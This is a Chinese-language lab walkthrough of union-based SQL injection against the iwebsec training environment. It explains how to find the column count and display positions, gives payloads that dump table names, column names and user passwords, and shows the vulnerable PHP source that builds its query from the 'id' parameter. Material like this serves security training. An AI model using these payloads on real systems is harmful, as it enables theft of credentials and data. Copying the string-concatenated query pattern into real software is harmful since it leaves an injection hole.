SQL注入漏洞 | iwebsec
页面观察:测试看回显

注入点判断:发现有sql注入漏洞
AND 可在 where 子语句中把两个或多个条件结合起来。如果第一个条件和第二个条件都成立,则 AND 运算符显示一条记录。


判断当前表的字段数
order by 语句用于根据指定的列对结果集进行排序。

判断显示位,需要让id的值为不可能的值,因为只能回显一次结果,id的结果不存在才会回显union语句的结果。
union 操作符用于合并两个或多个 select 语句的结果集。union 内部的 select 语句必须拥有相同的列数。

爆库名

爆表名
/sqli/01.php?id=-1 union select database(),2,group_concat(table_name) from information_schema.tables where table_schema=database()

爆字段名
/sqli/01.php?id=-1 union select database(),2,group_concat(column_name) from information_schema.columns where table_name=user

爆相应字段的所有数据
/sqli/01.php?id=-1 union select group_concat(id,'--'),2,group_concat(id,'--',username,'--',password,'--') from user

看源码
docker exec -it iwebsec bash
cat /var/www/html/sqli/01.php
......
$id=$_GET['id']; //用户输入的参数$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1"; //将用户输入的参数直接拼接在sql语句$result=mysql_query($sql); //传入后台数据库进行查询,result为返回的查询结果}else{exit();}
?>......
分析
$id=0 union select 1,2,3
$sql="SELECT * FROM user WHERE id=0 union select 1,2,3 LIMIT 0,1";
$sql的意思是将SELECT * FROM user WHERE id=0和select 1,2,3的结果并在一起返回。但是由于LIMIT 0,1限制,只能返回一条,因此可以让前面的语句没有结果,那么就可以返回后面语句的结果了。
下一篇:勤奋学习的诗句(30句)